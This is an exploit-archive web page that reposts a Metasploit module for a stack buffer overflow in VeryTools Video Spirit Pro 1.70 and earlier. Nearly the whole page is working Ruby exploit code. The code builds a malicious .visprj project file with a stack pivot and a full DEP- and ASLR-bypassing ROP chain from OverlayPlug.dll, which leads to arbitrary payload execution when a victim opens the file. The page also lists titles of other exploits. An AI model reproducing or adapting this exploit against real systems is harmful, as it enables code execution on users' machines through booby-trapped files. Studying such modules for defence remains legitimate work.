首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VeryTools Video Spirit Pro <= 1.70 .visprj Buffer Overflow
来源:http://www.metasploit.com 作者:Acidgen 发布时间:2011-04-13  

##
# $Id: videospirit_visprj.rb 12305 2011-04-11 23:32:41Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VeryTools Video Spirit Pro <= 1.70',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Video Spirit <= 1.70.
    When opening a malicious project file (.visprj), a stack buffer overflow occurs,
    resulting in arbitrary code execution.
    This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Acidgen',      #found the vulnerability
     'corelanc0d3r', #rop exploit + msf module
    ],
   'Version'        => '$Revision: 12305 $',
   'References'     =>
    [
     [ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'        => 800,  #0x320 bytes - avoid marking wrong page as RWX
     'BadChars'     => "\x00\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x26\x27\x2f\x3c\x3e",
     'DisableNops'  => 'True',
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',
      {
       'OffSet'      => 168,
       'OffSetToRop' => 952,
       'Ret'         => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Apr 11 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'VideoSpirit project name.',  'msf.visprj']),
   ], self.class)
 end

 def junk
  return rand_text_alphanumeric(4).unpack("L")[0].to_i
 end

 def exploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  header = %Q|
<version value="1" />
<track>
<type value="0" />
<type value="4" />
<type value="2" />
<type value="1" />
<type value="7" />
</track>
<track0 />
<track1 />
<track2 />
<track3 />
<track4 />
<clip />
<output typename="AVI" keepaspect="0" presetquality="0">
<type0 enable="1">
|

  footer = %Q|
<valitem name="320*240(4:3)" value="320*240" />
<valitem name="30" value="30" />
<valitem name="16000k" value="16000k" />
</type0>
<type1 enable="1">
<valitem name="mp3" value="libmp3lame" />
<valitem name="128k" value="128k" />
<valitem name="44100" value="44100" />
<valitem name="2 (Stereo)" value="2" />
</type1>
<type2 enable="0" />
</output>
|
  print_status("Preparing payload")

  pivot = [target.ret].pack('V')

  rop_gadgets =
  [
   # one non-ASLR module is enough for generic ASLR & DEP bypass !
   # pvefindaddr rop 'n roll
   # First, grab VirtualProtect ptr
   0x10065292,  # POP EAX # RETN      [OverlayPlug.dll]
   0x106F4244,  # IAT entry + offsqet (bad char friendly)
   0x10019762,  # POP EBP # RETN      [OverlayPlug.dll]
   0xEFEFEFF0,  # bye bye offset
   0x10084977,  # ADD EBP,EAX # RETN  [OverlayPlug.dll]
   0x100684B8,  # MOV EAX,EBP # POP ESI # POP EBP # POP EBX # RETN  [OverlayPlug.dll]
   junk,
   junk,
   junk,
   0x1005E114,  # MOV EAX,DWORD PTR DS:[EAX] # RETN  [OverlayPlug.dll]
   0x10016A56,  # XCHG EAX,ESI         [OverlayPlug.dll]

   # set size
   0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]
   0x10101330,  # 0x320 bytes - change this if needed, but don't make it too big :)
   0x10019762,  # POP EBP # RETN       [OverlayPlug.dll]
   0xEFEFEFF0,  # boo
   0x10084977,  # ADD EBP,EAX # RETN   [OverlayPlug.dll]
   0x10053E4C,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]
   0x10066D8C,  # PUSH EAX # ADD AL,5D # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 10  [OverlayPlug.dll]
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,
   junk,

   # set NewProtect to 0x40
   0x100E3D4A,  # XOR EAX,EAX # XOR EDX,EDX # RETN  [OverlayPlug.dll]
   junk,
   junk,
   junk,
   junk,
   0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
   junk,
   0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
   junk,
   junk,
   0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
   junk,
   junk,
   0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
   junk,
   junk,
   0x10030C8B,  # ADD DL,AL # ADD AL,0 # MOV EAX,EDX # RETN 4  [OverlayPlug.dll]
   junk,

   # write pOldProtect to .data section
   0x1001AB51,  # POP ECX # RETN  [OverlayPlug.dll]
   junk,
   0x10117030,  # RW

   # EDI : ROP NOP
   0x10057090,  # POP EDI # RETN  [OverlayPlug.dll]
   0x10057091,  # ROP NOP

   # pReturn2Payload
   0x100BC8E8,  # PUSH ESP # MOV EAX,ESI # POP ESI # RETN  [OverlayPlug.dll]
   0x10016A56,  # XCHG EAX,ESI # RETN  [OverlayPlug.dll]
   0x1003C946,  # ADD EAX,0A # RETN    [OverlayPlug.dll]
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1003C946,
   0x1001FDBD,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]

   0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]
   0x41414141,

   # go
   0x10066F84,  # PUSHAD # RETN        [OverlayPlug.dll]
  ].pack("V*")


  buffer = "<valitem name="
  buffer << '"'
  buffer << rand_text_alphanumeric((target['OffSet']))
  buffer << rand_text_alphanumeric(4) #nseh
  buffer << pivot
  buffer << rand_text_alphanumeric((target['OffSetToRop']))
  buffer << "\x91\x70\x05\x10" * 10   #rop nop, offset Win7
  buffer << rop_gadgets
  buffer << make_nops(150)
  buffer << payload.encoded
  buffer << rand_text_alphanumeric(4000)
  buffer << '"'
  buffer << ' value="msmpeg4v2"'
  buffer << "/>"
  buffer << "\n"

  filecontent = header + buffer + footer

  print_status("Writing payload to file")

  file_create(filecontent)

 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Winamp 5.6.1 .m3u8 Buffer Over
·Cisco Security Agent Managemen
·Winamp 5.6.1 Install Language
·OpenText FirstClass Client v 1
·tmux '-S' Option Incorrect Set
·Wordtrainer 3.0 .ORD File Buff
·Vallen Zipper V2.30 .ZIP File
·Microsoft HTML Help <= 6.1 Sta
·VeryTools Video Spirit Pro 1.7
·Microsoft Host Integration Ser
·Microsoft Reader <= 2.1.1.3143
·Microsoft Reader <= 2.1.1.3143
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved